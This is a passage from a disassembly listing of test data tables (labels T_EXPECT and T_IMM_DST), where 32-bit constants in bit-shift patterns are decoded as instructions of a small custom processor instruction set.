32e88: 00 00 00 00 add r0,r0
00032e8c <T_EXPECT805>:
32e8c: 00 00 00 00 add r0,r0
00032e90 <T_EXPECT806>:
32e90: 00 00 00 00 add r0,r0
00032e94 <T_EXPECT807>:
32e94: 00 00 00 00 add r0,r0
00032e98 <T_EXPECT808>:
32e98: 00 00 00 01 add r0,r1
00032e9c <T_EXPECT809>:
32e9c: 00 00 00 02 add r0,r2
00032ea0 <T_EXPECT810>:
32ea0: 00 00 00 04 add r0,r4
00032ea4 <T_EXPECT811>:
32ea4: 00 00 00 08 add r0,r8
00032ea8 <T_EXPECT812>:
32ea8: 00 00 00 10 add r0,r16
00032eac <T_EXPECT813>:
32eac: 00 00 00 20 add r1,r0
00032eb0 <T_EXPECT814>:
32eb0: 00 00 00 40 add r2,r0
00032eb4 <T_EXPECT815>:
32eb4: 00 00 00 80 add r4,r0
00032eb8 <T_EXPECT816>:
32eb8: 00 00 01 00 add r8,r0
00032ebc <T_EXPECT817>:
32ebc: 00 00 02 00 add r16,r0
00032ec0 <T_EXPECT818>:
32ec0: 00 00 04 00 *unknown*
00032ec4 <T_EXPECT819>:
32ec4: 00 00 08 00 *unknown*
00032ec8 <T_EXPECT820>:
32ec8: 00 00 10 00 *unknown*
00032ecc <T_EXPECT821>:
32ecc: 00 00 20 00 *unknown*
00032ed0 <T_EXPECT822>:
32ed0: 00 00 40 00 *unknown*
00032ed4 <T_EXPECT823>:
32ed4: 00 00 80 00 *unknown*
00032ed8 <T_EXPECT824>:
32ed8: 00 01 00 00 *unknown*
00032edc <T_EXPECT825>:
32edc: 00 02 00 00 *unknown*
00032ee0 <T_EXPECT826>:
32ee0: 00 04 00 00 *unknown*
00032ee4 <T_EXPECT827>:
32ee4: 00 08 00 00 *unknown*
00032ee8 <T_EXPECT828>:
32ee8: 00 10 00 00 add r0,0
00032eec <T_EXPECT829>:
32eec: 00 20 00 00 sub r0,r0
00032ef0 <T_EXPECT830>:
32ef0: 00 40 00 00 mull r0,r0
00032ef4 <T_EXPECT831>:
32ef4: 00 80 00 00 udiv r0,r0
00032ef8 <T_EXPECT832>:
32ef8: 00 00 00 00 add r0,r0
00032efc <T_EXPECT833>:
32efc: 00 00 00 00 add r0,r0
00032f00 <T_EXPECT834>:
32f00: 00 00 00 00 add r0,r0
00032f04 <T_EXPECT835>:
32f04: 00 00 00 00 add r0,r0
00032f08 <T_EXPECT836>:
32f08: 00 00 00 00 add r0,r0
00032f0c <T_EXPECT837>:
32f0c: 00 00 00 00 add r0,r0
00032f10 <T_EXPECT838>:
32f10: 00 00 00 00 add r0,r0
00032f14 <T_EXPECT839>:
32f14: 00 00 00 01 add r0,r1
00032f18 <T_EXPECT840>:
32f18: 00 00 00 02 add r0,r2
00032f1c <T_EXPECT841>:
32f1c: 00 00 00 04 add r0,r4
00032f20 <T_EXPECT842>:
32f20: 00 00 00 08 add r0,r8
00032f24 <T_EXPECT843>:
32f24: 00 00 00 10 add r0,r16
00032f28 <T_EXPECT844>:
32f28: 00 00 00 20 add r1,r0
00032f2c <T_EXPECT845>:
32f2c: 00 00 00 40 add r2,r0
00032f30 <T_EXPECT846>:
32f30: 00 00 00 80 add r4,r0
00032f34 <T_EXPECT847>:
32f34: 00 00 01 00 add r8,r0
00032f38 <T_EXPECT848>:
32f38: 00 00 02 00 add r16,r0
00032f3c <T_EXPECT849>:
32f3c: 00 00 04 00 *unknown*
00032f40 <T_EXPECT850>:
32f40: 00 00 08 00 *unknown*
00032f44 <T_EXPECT851>:
32f44: 00 00 10 00 *unknown*
00032f48 <T_EXPECT852>:
32f48: 00 00 20 00 *unknown*
00032f4c <T_EXPECT853>:
32f4c: 00 00 40 00 *unknown*
00032f50 <T_EXPECT854>:
32f50: 00 00 80 00 *unknown*
00032f54 <T_EXPECT855>:
32f54: 00 01 00 00 *unknown*
00032f58 <T_EXPECT856>:
32f58: 00 02 00 00 *unknown*
00032f5c <T_EXPECT857>:
32f5c: 00 04 00 00 *unknown*
00032f60 <T_EXPECT858>:
32f60: 00 08 00 00 *unknown*
00032f64 <T_EXPECT859>:
32f64: 00 10 00 00 add r0,0
00032f68 <T_EXPECT860>:
32f68: 00 20 00 00 sub r0,r0
00032f6c <T_EXPECT861>:
32f6c: 00 40 00 00 mull r0,r0
00032f70 <T_EXPECT862>:
32f70: 00 80 00 00 udiv r0,r0
00032f74 <T_EXPECT863>:
32f74: 01 00 00 00 mod r0,r0
00032f78 <T_EXPECT864>:
32f78: 00 00 00 00 add r0,r0
00032f7c <T_EXPECT865>:
32f7c: 00 00 00 00 add r0,r0
00032f80 <T_EXPECT866>:
32f80: 00 00 00 00 add r0,r0
00032f84 <T_EXPECT867>:
32f84: 00 00 00 00 add r0,r0
00032f88 <T_EXPECT868>:
32f88: 00 00 00 00 add r0,r0
00032f8c <T_EXPECT869>:
32f8c: 00 00 00 00 add r0,r0
00032f90 <T_EXPECT870>:
32f90: 00 00 00 01 add r0,r1
00032f94 <T_EXPECT871>:
32f94: 00 00 00 02 add r0,r2
00032f98 <T_EXPECT872>:
32f98: 00 00 00 04 add r0,r4
00032f9c <T_EXPECT873>:
32f9c: 00 00 00 08 add r0,r8
00032fa0 <T_EXPECT874>:
32fa0: 00 00 00 10 add r0,r16
00032fa4 <T_EXPECT875>:
32fa4: 00 00 00 20 add r1,r0
00032fa8 <T_EXPECT876>:
32fa8: 00 00 00 40 add r2,r0
00032fac <T_EXPECT877>:
32fac: 00 00 00 80 add r4,r0
00032fb0 <T_EXPECT878>:
32fb0: 00 00 01 00 add r8,r0
00032fb4 <T_EXPECT879>:
32fb4: 00 00 02 00 add r16,r0
00032fb8 <T_EXPECT880>:
32fb8: 00 00 04 00 *unknown*
00032fbc <T_EXPECT881>:
32fbc: 00 00 08 00 *unknown*
00032fc0 <T_EXPECT882>:
32fc0: 00 00 10 00 *unknown*
00032fc4 <T_EXPECT883>:
32fc4: 00 00 20 00 *unknown*
00032fc8 <T_EXPECT884>:
32fc8: 00 00 40 00 *unknown*
00032fcc <T_EXPECT885>:
32fcc: 00 00 80 00 *unknown*
00032fd0 <T_EXPECT886>:
32fd0: 00 01 00 00 *unknown*
00032fd4 <T_EXPECT887>:
32fd4: 00 02 00 00 *unknown*
00032fd8 <T_EXPECT888>:
32fd8: 00 04 00 00 *unknown*
00032fdc <T_EXPECT889>:
32fdc: 00 08 00 00 *unknown*
00032fe0 <T_EXPECT890>:
32fe0: 00 10 00 00 add r0,0
00032fe4 <T_EXPECT891>:
32fe4: 00 20 00 00 sub r0,r0
00032fe8 <T_EXPECT892>:
32fe8: 00 40 00 00 mull r0,r0
00032fec <T_EXPECT893>:
32fec: 00 80 00 00 udiv r0,r0
00032ff0 <T_EXPECT894>:
32ff0: 01 00 00 00 mod r0,r0
00032ff4 <T_EXPECT895>:
32ff4: 02 00 00 00 inc r0,r0
00032ff8 <T_EXPECT896>:
32ff8: 00 00 00 00 add r0,r0
00032ffc <T_EXPECT897>:
32ffc: 00 00 00 00 add r0,r0
00033000 <T_EXPECT898>:
33000: 00 00 00 00 add r0,r0
00033004 <T_EXPECT899>:
33004: 00 00 00 00 add r0,r0
00033008 <T_EXPECT900>:
33008: 00 00 00 00 add r0,r0
0003300c <T_EXPECT901>:
3300c: 00 00 00 01 add r0,r1
00033010 <T_EXPECT902>:
33010: 00 00 00 02 add r0,r2
00033014 <T_EXPECT903>:
33014: 00 00 00 04 add r0,r4
00033018 <T_EXPECT904>:
33018: 00 00 00 08 add r0,r8
0003301c <T_EXPECT905>:
3301c: 00 00 00 10 add r0,r16
00033020 <T_EXPECT906>:
33020: 00 00 00 20 add r1,r0
00033024 <T_EXPECT907>:
33024: 00 00 00 40 add r2,r0
00033028 <T_EXPECT908>:
33028: 00 00 00 80 add r4,r0
0003302c <T_EXPECT909>:
3302c: 00 00 01 00 add r8,r0
00033030 <T_EXPECT910>:
33030: 00 00 02 00 add r16,r0
00033034 <T_EXPECT911>:
33034: 00 00 04 00 *unknown*
00033038 <T_EXPECT912>:
33038: 00 00 08 00 *unknown*
0003303c <T_EXPECT913>:
3303c: 00 00 10 00 *unknown*
00033040 <T_EXPECT914>:
33040: 00 00 20 00 *unknown*
00033044 <T_EXPECT915>:
33044: 00 00 40 00 *unknown*
00033048 <T_EXPECT916>:
33048: 00 00 80 00 *unknown*
0003304c <T_EXPECT917>:
3304c: 00 01 00 00 *unknown*
00033050 <T_EXPECT918>:
33050: 00 02 00 00 *unknown*
00033054 <T_EXPECT919>:
33054: 00 04 00 00 *unknown*
00033058 <T_EXPECT920>:
33058: 00 08 00 00 *unknown*
0003305c <T_EXPECT921>:
3305c: 00 10 00 00 add r0,0
00033060 <T_EXPECT922>:
33060: 00 20 00 00 sub r0,r0
00033064 <T_EXPECT923>:
33064: 00 40 00 00 mull r0,r0
00033068 <T_EXPECT924>:
33068: 00 80 00 00 udiv r0,r0
0003306c <T_EXPECT925>:
3306c: 01 00 00 00 mod r0,r0
00033070 <T_EXPECT926>:
33070: 02 00 00 00 inc r0,r0
00033074 <T_EXPECT927>:
33074: 04 00 00 00 *unknown*
00033078 <T_EXPECT928>:
33078: 00 00 00 00 add r0,r0
0003307c <T_EXPECT929>:
3307c: 00 00 00 00 add r0,r0
00033080 <T_EXPECT930>:
33080: 00 00 00 00 add r0,r0
00033084 <T_EXPECT931>:
33084: 00 00 00 00 add r0,r0
00033088 <T_EXPECT932>:
33088: 00 00 00 01 add r0,r1
0003308c <T_EXPECT933>:
3308c: 00 00 00 02 add r0,r2
00033090 <T_EXPECT934>:
33090: 00 00 00 04 add r0,r4
00033094 <T_EXPECT935>:
33094: 00 00 00 08 add r0,r8
00033098 <T_EXPECT936>:
33098: 00 00 00 10 add r0,r16
0003309c <T_EXPECT937>:
3309c: 00 00 00 20 add r1,r0
000330a0 <T_EXPECT938>:
330a0: 00 00 00 40 add r2,r0
000330a4 <T_EXPECT939>:
330a4: 00 00 00 80 add r4,r0
000330a8 <T_EXPECT940>:
330a8: 00 00 01 00 add r8,r0
000330ac <T_EXPECT941>:
330ac: 00 00 02 00 add r16,r0
000330b0 <T_EXPECT942>:
330b0: 00 00 04 00 *unknown*
000330b4 <T_EXPECT943>:
330b4: 00 00 08 00 *unknown*
000330b8 <T_EXPECT944>:
330b8: 00 00 10 00 *unknown*
000330bc <T_EXPECT945>:
330bc: 00 00 20 00 *unknown*
000330c0 <T_EXPECT946>:
330c0: 00 00 40 00 *unknown*
000330c4 <T_EXPECT947>:
330c4: 00 00 80 00 *unknown*
000330c8 <T_EXPECT948>:
330c8: 00 01 00 00 *unknown*
000330cc <T_EXPECT949>:
330cc: 00 02 00 00 *unknown*
000330d0 <T_EXPECT950>:
330d0: 00 04 00 00 *unknown*
000330d4 <T_EXPECT951>:
330d4: 00 08 00 00 *unknown*
000330d8 <T_EXPECT952>:
330d8: 00 10 00 00 add r0,0
000330dc <T_EXPECT953>:
330dc: 00 20 00 00 sub r0,r0
000330e0 <T_EXPECT954>:
330e0: 00 40 00 00 mull r0,r0
000330e4 <T_EXPECT955>:
330e4: 00 80 00 00 udiv r0,r0
000330e8 <T_EXPECT956>:
330e8: 01 00 00 00 mod r0,r0
000330ec <T_EXPECT957>:
330ec: 02 00 00 00 inc r0,r0
000330f0 <T_EXPECT958>:
330f0: 04 00 00 00 *unknown*
000330f4 <T_EXPECT959>:
330f4: 08 00 00 00 shl r0,r0
000330f8 <T_EXPECT960>:
330f8: 00 00 00 00 add r0,r0
000330fc <T_EXPECT961>:
330fc: 00 00 00 00 add r0,r0
00033100 <T_EXPECT962>:
33100: 00 00 00 00 add r0,r0
00033104 <T_EXPECT963>:
33104: 00 00 00 01 add r0,r1
00033108 <T_EXPECT964>:
33108: 00 00 00 02 add r0,r2
0003310c <T_EXPECT965>:
3310c: 00 00 00 04 add r0,r4
00033110 <T_EXPECT966>:
33110: 00 00 00 08 add r0,r8
00033114 <T_EXPECT967>:
33114: 00 00 00 10 add r0,r16
00033118 <T_EXPECT968>:
33118: 00 00 00 20 add r1,r0
0003311c <T_EXPECT969>:
3311c: 00 00 00 40 add r2,r0
00033120 <T_EXPECT970>:
33120: 00 00 00 80 add r4,r0
00033124 <T_EXPECT971>:
33124: 00 00 01 00 add r8,r0
00033128 <T_EXPECT972>:
33128: 00 00 02 00 add r16,r0
0003312c <T_EXPECT973>:
3312c: 00 00 04 00 *unknown*
00033130 <T_EXPECT974>:
33130: 00 00 08 00 *unknown*
00033134 <T_EXPECT975>:
33134: 00 00 10 00 *unknown*
00033138 <T_EXPECT976>:
33138: 00 00 20 00 *unknown*
0003313c <T_EXPECT977>:
3313c: 00 00 40 00 *unknown*
00033140 <T_EXPECT978>:
33140: 00 00 80 00 *unknown*
00033144 <T_EXPECT979>:
33144: 00 01 00 00 *unknown*
00033148 <T_EXPECT980>:
33148: 00 02 00 00 *unknown*
0003314c <T_EXPECT981>:
3314c: 00 04 00 00 *unknown*
00033150 <T_EXPECT982>:
33150: 00 08 00 00 *unknown*
00033154 <T_EXPECT983>:
33154: 00 10 00 00 add r0,0
00033158 <T_EXPECT984>:
33158: 00 20 00 00 sub r0,r0
0003315c <T_EXPECT985>:
3315c: 00 40 00 00 mull r0,r0
00033160 <T_EXPECT986>:
33160: 00 80 00 00 udiv r0,r0
00033164 <T_EXPECT987>:
33164: 01 00 00 00 mod r0,r0
00033168 <T_EXPECT988>:
33168: 02 00 00 00 inc r0,r0
0003316c <T_EXPECT989>:
3316c: 04 00 00 00 *unknown*
00033170 <T_EXPECT990>:
33170: 08 00 00 00 shl r0,r0
00033174 <T_EXPECT991>:
33174: 10 00 00 00 ld8 r0,r0
00033178 <T_EXPECT992>:
33178: 00 00 00 00 add r0,r0
0003317c <T_EXPECT993>:
3317c: 00 00 00 00 add r0,r0
00033180 <T_EXPECT994>:
33180: 00 00 00 01 add r0,r1
00033184 <T_EXPECT995>:
33184: 00 00 00 02 add r0,r2
00033188 <T_EXPECT996>:
33188: 00 00 00 04 add r0,r4
0003318c <T_EXPECT997>:
3318c: 00 00 00 08 add r0,r8
00033190 <T_EXPECT998>:
33190: 00 00 00 10 add r0,r16
00033194 <T_EXPECT999>:
33194: 00 00 00 20 add r1,r0
00033198 <T_EXPECT1000>:
33198: 00 00 00 40 add r2,r0
0003319c <T_EXPECT1001>:
3319c: 00 00 00 80 add r4,r0
000331a0 <T_EXPECT1002>:
331a0: 00 00 01 00 add r8,r0
000331a4 <T_EXPECT1003>:
331a4: 00 00 02 00 add r16,r0
000331a8 <T_EXPECT1004>:
331a8: 00 00 04 00 *unknown*
000331ac <T_EXPECT1005>:
331ac: 00 00 08 00 *unknown*
000331b0 <T_EXPECT1006>:
331b0: 00 00 10 00 *unknown*
000331b4 <T_EXPECT1007>:
331b4: 00 00 20 00 *unknown*
000331b8 <T_EXPECT1008>:
331b8: 00 00 40 00 *unknown*
000331bc <T_EXPECT1009>:
331bc: 00 00 80 00 *unknown*
000331c0 <T_EXPECT1010>:
331c0: 00 01 00 00 *unknown*
000331c4 <T_EXPECT1011>:
331c4: 00 02 00 00 *unknown*
000331c8 <T_EXPECT1012>:
331c8: 00 04 00 00 *unknown*
000331cc <T_EXPECT1013>:
331cc: 00 08 00 00 *unknown*
000331d0 <T_EXPECT1014>:
331d0: 00 10 00 00 add r0,0
000331d4 <T_EXPECT1015>:
331d4: 00 20 00 00 sub r0,r0
000331d8 <T_EXPECT1016>:
331d8: 00 40 00 00 mull r0,r0
000331dc <T_EXPECT1017>:
331dc: 00 80 00 00 udiv r0,r0
000331e0 <T_EXPECT1018>:
331e0: 01 00 00 00 mod r0,r0
000331e4 <T_EXPECT1019>:
331e4: 02 00 00 00 inc r0,r0
000331e8 <T_EXPECT1020>:
331e8: 04 00 00 00 *unknown*
000331ec <T_EXPECT1021>:
331ec: 08 00 00 00 shl r0,r0
000331f0 <T_EXPECT1022>:
331f0: 10 00 00 00 ld8 r0,r0
000331f4 <T_EXPECT1023>:
331f4: 20 00 00 00 nop
000331f8 <T_EXPECT1024>:
331f8: 00 00 00 00 add r0,r0
000331fc <T_EXPECT1025>:
331fc: 00 00 00 01 add r0,r1
00033200 <T_EXPECT1026>:
33200: 00 00 00 02 add r0,r2
00033204 <T_EXPECT1027>:
33204: 00 00 00 04 add r0,r4
00033208 <T_EXPECT1028>:
33208: 00 00 00 08 add r0,r8
0003320c <T_EXPECT1029>:
3320c: 00 00 00 10 add r0,r16
00033210 <T_EXPECT1030>:
33210: 00 00 00 20 add r1,r0
00033214 <T_EXPECT1031>:
33214: 00 00 00 40 add r2,r0
00033218 <T_EXPECT1032>:
33218: 00 00 00 80 add r4,r0
0003321c <T_EXPECT1033>:
3321c: 00 00 01 00 add r8,r0
00033220 <T_EXPECT1034>:
33220: 00 00 02 00 add r16,r0
00033224 <T_EXPECT1035>:
33224: 00 00 04 00 *unknown*
00033228 <T_EXPECT1036>:
33228: 00 00 08 00 *unknown*
0003322c <T_EXPECT1037>:
3322c: 00 00 10 00 *unknown*
00033230 <T_EXPECT1038>:
33230: 00 00 20 00 *unknown*
00033234 <T_EXPECT1039>:
33234: 00 00 40 00 *unknown*
00033238 <T_EXPECT1040>:
33238: 00 00 80 00 *unknown*
0003323c <T_EXPECT1041>:
3323c: 00 01 00 00 *unknown*
00033240 <T_EXPECT1042>:
33240: 00 02 00 00 *unknown*
00033244 <T_EXPECT1043>:
33244: 00 04 00 00 *unknown*
00033248 <T_EXPECT1044>:
33248: 00 08 00 00 *unknown*
0003324c <T_EXPECT1045>:
3324c: 00 10 00 00 add r0,0
00033250 <T_EXPECT1046>:
33250: 00 20 00 00 sub r0,r0
00033254 <T_EXPECT1047>:
33254: 00 40 00 00 mull r0,r0
00033258 <T_EXPECT1048>:
33258: 00 80 00 00 udiv r0,r0
0003325c <T_EXPECT1049>:
3325c: 01 00 00 00 mod r0,r0
00033260 <T_EXPECT1050>:
33260: 02 00 00 00 inc r0,r0
00033264 <T_EXPECT1051>:
33264: 04 00 00 00 *unknown*
00033268 <T_EXPECT1052>:
33268: 08 00 00 00 shl r0,r0
0003326c <T_EXPECT1053>:
3326c: 10 00 00 00 ld8 r0,r0
00033270 <T_EXPECT1054>:
33270: 20 00 00 00 nop
00033274 <T_EXPECT1055>:
33274: 40 00 00 00 *unknown*
00033278 <T_EXPECT1056>:
33278: 00 00 00 00 add r0,r0
0003327c <T_EXPECT1057>:
3327c: 00 00 00 00 add r0,r0
00033280 <T_EXPECT1058>:
33280: 00 00 00 00 add r0,r0
00033284 <T_EXPECT1059>:
33284: 00 00 00 00 add r0,r0
00033288 <T_EXPECT1060>:
33288: 00 00 00 00 add r0,r0
0003328c <T_EXPECT1061>:
3328c: 00 00 00 00 add r0,r0
00033290 <T_EXPECT1062>:
33290: 00 00 00 00 add r0,r0
00033294 <T_EXPECT1063>:
33294: 00 00 00 00 add r0,r0
00033298 <T_EXPECT1064>:
33298: 00 00 00 00 add r0,r0
0003329c <T_EXPECT1065>:
3329c: 00 00 00 00 add r0,r0
000332a0 <T_EXPECT1066>:
332a0: 00 00 00 00 add r0,r0
000332a4 <T_EXPECT1067>:
332a4: 00 00 00 00 add r0,r0
000332a8 <T_EXPECT1068>:
332a8: 00 00 00 00 add r0,r0
000332ac <T_EXPECT1069>:
332ac: 00 00 00 00 add r0,r0
000332b0 <T_EXPECT1070>:
332b0: 00 00 00 00 add r0,r0
000332b4 <T_EXPECT1071>:
332b4: 00 00 00 03 add r0,r3
000332b8 <T_EXPECT1072>:
332b8: 00 00 00 0f add r0,r15
000332bc <T_EXPECT1073>:
332bc: 00 00 00 3f add r1,rret
000332c0 <T_EXPECT1074>:
332c0: 00 00 00 ff add rtmp,rret
000332c4 <T_EXPECT1075>:
332c4: 00 00 03 ff add rret,rret
000332c8 <T_EXPECT1076>:
332c8: 00 00 0f ff *unknown*
000332cc <T_EXPECT1077>:
332cc: 00 00 3f ff *unknown*
000332d0 <T_EXPECT1078>:
332d0: 00 00 ff ff *unknown*
000332d4 <T_EXPECT1079>:
332d4: 00 03 ff ff *unknown*
000332d8 <T_EXPECT1080>:
332d8: 00 0f ff ff *unknown*
000332dc <T_EXPECT1081>:
332dc: 00 3f ff ff *unknown*
000332e0 <T_EXPECT1082>:
332e0: 00 ff ff ff *unknown*
000332e4 <T_EXPECT1083>:
332e4: 03 ff ff ff *unknown*
000332e8 <T_EXPECT1084>:
332e8: 0f ff ff ff *unknown*
000332ec <T_EXPECT1085>:
332ec: 3f ff ff ff *unknown*
000332f0 <T_EXPECT1086>:
332f0: ff ff ff fe *unknown*
000332f4 <T_IMM_DST0>:
332f4: 00 00 00 00 add r0,r0
000332f8 <T_IMM_DST1>:
332f8: 00 00 00 00 add r0,r0
000332fc <T_IMM_DST2>:
332fc: 00 00 00 00 add r0,r0
00033300 <T_IMM_DST3>:
33300: 00 00 00 00 add r0,r0
00033304 <T_IMM_DST4>:
33304: 00 00 00 00 add r0,r0
00033308 <T_IMM_DST5>:
33308: 00 00 00 00 add r0,r0
0003330c <T_IMM_DST6>:
3330c: 00 00 00 00 add r0,r0
00033310 <T_IMM_DST7>:
33310: 00 00 00 00 add r0,r0
00033314 <T_IMM_DST8>:
33314: 00 00 00 00 add r0,r0
00033318 <T_IMM_DST9>:
33318: 00 00 00 00 add r0,r0
0003331c <T_IMM_DST10>:
3331c: 00 00 00 00 add r0,r0
00033320 <T_IMM_DST11>:
33320: 00 00 00 01 add r0,r1
00033324 <T_IMM_DST12>:
33324: 00 00 00 01 add r0,r1
00033328 <T_IMM_DST13>:
33328: 00 00 00 01 add r0,r1
0003332c <T_IMM_DST14>:
3332c: 00 00 00 01 add r0,r1
00033330 <T_IMM_DST15>:
33330: 00 00 00 01 add r0,r1
00033334 <T_IMM_DST16>:
33334: 00 00 00 01 add r0,r1
00033338 <T_IMM_DST17>:
33338: 00 00 00 01 add r0,r1
0003333c <T_IMM_DST18>:
3333c: 00 00 00 01 add r0,r1
00033340 <T_IMM_DST19>:
33340: 00 00 00 01 add r0,r1
00033344 <T_IMM_DST20>:
33344: 00 00 00 01 add r0,r1
00033348 <T_IMM_DST21>:
33348: 00 00 00 01 add r0,r1
0003334c <T_IMM_DST22>:
3334c: 00 00 00 02 add r0,r2
00033350 <T_IMM_DST23>:
33350: 00 00 00 02 add r0,r2
00033354 <T_IMM_DST24>:
33354: 00 00 00 02 add r0,r2
00033358 <T_IMM_DST25>:
33358: 00 00 00 02 add r0,r2
0003335c <T_IMM_DST26>:
3335c: 00 00 00 02 add r0,r2
00033360 <T_IMM_DST27>:
33360: 00 00 00 02 add r0,r2
00033364 <T_IMM_DST28>:
33364: 00 00 00 02 add r0,r2
00033368 <T_IMM_DST29>:
33368: 00 00 00 02 add r0,r2
0003336c <T_IMM_DST30>:
3336c: 00 00 00 02 add r0,r2
00033370 <T_IMM_DST31>:
33370: 00 00 00 02 add r0,r2
00033374 <T_IMM_DST32>:
33374: 00 00 00 02 add r0,r2
00033378 <T_IMM_DST33>:
33378: 00 00 00 04 add r0,r4
0003337c <T_IMM_DST34>:
3337c: 00 00 00 04 add r0,r4
00033380 <T_IMM_DST35>:
33380: 00 00 00 04 add r0,r4
00033384 <T_IMM_DST36>:
33384: 00 00 00 04 add r0,r4
00033388 <T_IMM_DST37>:
33388: 00 00 00 04 add r0,r4
0003338c <T_IMM_DST38>:
3338c: 00 00 00 04 add r0,r4
00033390 <T_IMM_DST39>:
33390: 00 00 00 04 add r0,r4
00033394 <T_IMM_DST40>:
33394: 00 00 00 04 add r0,r4
00033398 <T_IMM_DST41>:
33398: 00 00 00 04 add r0,r4
0003339c <T_IMM_DST42>:
3339c: 00 00 00 04 add r0,r4
000333a0 <T_IMM_DST43>:
333a0: 00 00 00 04 add r0,r4
000333a4 <T_IMM_DST44>:
333a4: 00 00 00 08 add r0,r8
000333a8 <T_IMM_DST45>:
333a8: 00 00 00 08 add r0,r8
000333ac <T_IMM_DST46>:
333ac: 00 00 00 08 add r0,r8
000333b0 <T_IMM_DST47>:
333b0: 00 00 00 08 add r0,r8
000333b4 <T_IMM_DST48>:
333b4: 00 00 00 08 add r0,r8
000333b8 <T_IMM_DST49>:
333b8: 00 00 00 08 add r0,r8
000333bc <T_IMM_DST50>:
333bc: 00 00 00 08 add r0,r8
000333c0 <T_IMM_DST51>:
333c0: 00 00 00 08 add r0,r8
000333c4 <T_IMM_DST52>:
333c4: 00 00 00 08 add r0,r8
000333c8 <T_IMM_DST53>:
333c8: 00 00 00 08 add r0,r8
000333cc <T_IMM_DST54>:
333cc: 00 00 00 08 add r0,r8
000333d0 <T_IMM_DST55>:
333d0: 00 00 00 10 add r0,r16
000333d4 <T_IMM_DST56>:
333d4: 00 00 00 10 add r0,r16
000333d8 <T_IMM_DST57>:
333d8: 00 00 00 10 add r0,r16
000333dc <T_IMM_DST58>:
333dc: 00 00 00 10 add r0,r16
000333e0 <T_IMM_DST59>:
333e0: 00 00 00 10 add r0,r16
000333e4 <T_IMM_DST60>:
333e4: 00 00 00 10 add r0,r16
000333e8 <T_IMM_DST61>:
333e8: 00 00 00 10 add r0,r16
000333ec <T_IMM_DST62>:
333ec: 00 00 00 10 add r0,r16
000333f0 <T_IMM_DST63>:
333f0: 00 00 00 10 add r0,r16
000333f4 <T_IMM_DST64>:
333f4: 00 00 00 10 add r0,r16
000333f8 <T_IMM_DST65>:
333f8: 00 00 00 10 add r0,r16
000333fc <T_IMM_DST66>:
333fc: 00 00 00 20 add r1,r0
00033400 <T_IMM_DST67>:
33400: 00 00 00 20 add r1,r0
00033404 <T_IMM_DST68>:
33404: 00 00 00 20 add r1,r0
00033408 <T_IMM_DST69>:
33408: 00 00 00 20 add r1,r0
0003340c <T_IMM_DST70>:
3340c: 00 00 00 20 add r1,r0
00033410 <T_IMM_DST71>:
33410: 00 00 00 20 add r1,r0
00033414 <T_IMM_DST72>:
33414: 00 00 00 20 add r1,r0
00033418 <T_IMM_DST73>:
33418: 00 00 00 20 add r1,r0
0003341c <T_IMM_DST74>:
3341c: 00 00 00 20 add r1,r0
00033420 <T_IMM_DST75>:
33420: 00 00 00 20 add r1,r0
00033424 <T_IMM_DST76>:
33424: 00 00 00 20 add r1,r0
00033428 <T_IMM_DST77>:
33428: 00 00 00 40 add r2,r0
0003342c <T_IMM_DST78>:
3342c: 00 00 00 40 add r2,r0
00033430 <T_IMM_DST79>:
33430: 00 00 00 40 add r2,r0
00033434 <T_IMM_DST80>:
33434: 00 00 00 40 add r2,r0
00033438 <T_IMM_DST81>:
33438: 00 00 00 40 add r2,r0
0003343c <T_IMM_DST82>:
3343c: 00 00 00 40 add r2,r0
00033440 <T_IMM_DST83>:
33440: 00 00 00 40 add r2,r0
00033444 <T_IMM_DST84>:
33444: 00 00 00 40 add r2,r0
00033448 <T_IMM_DST85>:
33448: 00 00 00 40 add r2,r0
0003344c <T_IMM_DST86>:
3344c: 00 00 00 40 add r2,r0
00033450 <T_IMM_DST87>:
33450: 00 00 00 40 add r2,r0
00033454 <T_IMM_DST88>:
33454: 00 00 00 80 add r4,r0
00033458 <T_IMM_DST89>:
33458: 00 00 00 80 add r4,r0
0003345c <T_IMM_DST90>:
3345c: 00 00 00 80 add r4,r0
00033460 <T_IMM_DST91>:
33460: 00 00 00 80 add r4,r0
00033464 <T_IMM_DST92>:
33464: 00 00 00 80 add r4,r0
00033468 <T_IMM_DST93>:
33468: 00 00 00 80 add r4,r0
0003346c <T_IMM_DST94>:
3346c: 00 00 00 80 add r4,r0
00033470 <T_IMM_DST95>:
33470: 00 00 00 80 add r4,r0
00033474 <T_IMM_DST96>:
33474: 00 00 00 80 add r4,r0
00033478 <T_IMM_DST97>:
33478: 00 00 00 80 add r4,r0
0003347c <T_IMM_DST98>:
3347c: 00 00 00 80 add r4,r0
00033480 <T_IMM_DST99>:
33480: 00 00 01 00 add r8,r0
00033484 <T_IMM_DST100>:
33484: 00 00 01 00 add r8,r0
00033488 <T_IMM_DST101>:
33488: 00 00 01 00 add r8,r0
0003348c <T_IMM_DST102>:
3348c: 00 00 01 00 add r8,r0
00033490 <T_IMM_DST103>:
33490: 00 00 01 00 add r8,r0
00033494 <T_IMM_DST104>:
33494: 00 00 01 00 add r8,r0
00033498 <T_IMM_DST105>:
33498: 00 00 01 00 add r8,r0
0003349c <T_IMM_DST106>:
3349c: 00 00 01 00 add r8,r0
000334a0 <T_IMM_DST107>:
334a0: 00 00 01 00 add r8,r0
000334a4 <T_IMM_DST108>:
334a4: 00 00 01 00 add r8,r0
000334a8 <T_IMM_DST109>:
334a8: 00 00 01 00 add r8,r0
000334ac <T_IMM_DST110>:
334ac: 00 00 02 00 add r16,r0
000334b0 <T_IMM_DST111>:
334b0: 00 00 02 00 add r16,r0
000334b4 <T_IMM_DST112>:
334b4: 00 00 02 00 add r16,r0
000334b8 <T_IMM_DST113>:
334b8: 00 00 02 00 add r16,r0
000334bc <T_IMM_DST114>:
334bc: 00 00 02 00 add r16,r0
000334c0 <T_IMM_DST115>:
334c0: 00 00 02 00 add r16,r0
000334c4 <T_IMM_DST116>:
334c4: 00 00 02 00 add r16,r0
000334c8 <T_IMM_DST117>:
334c8: 00 00 02 00 add r16,r0
000334cc <T_IMM_DST118>:
334cc: 00 00 02 00 add r16,r0
000334d0 <T_IMM_DST119>:
334d0: 00 00 02 00 add r16,r0
000334d4 <T_IMM_DST120>:
334d4: 00 00 02 00 add r16,r0
000334d8 <T_IMM_DST121>:
334d8: 00 00 04 00 *unknown*
000334dc <T_IMM_DST122>:
334dc: 00 00 04 00 *unknown*
000334e0 <T_IMM_DST123>:
334e0: 00 00 04 00 *unknown*
000334e4 <T_IMM_DST124>:
334e4: 00 00 04 00 *unknown*
000334e8 <T_IMM_DST125>:
334e8: 00 00 04 00 *unknown*
000334ec <T_IMM_DST126>:
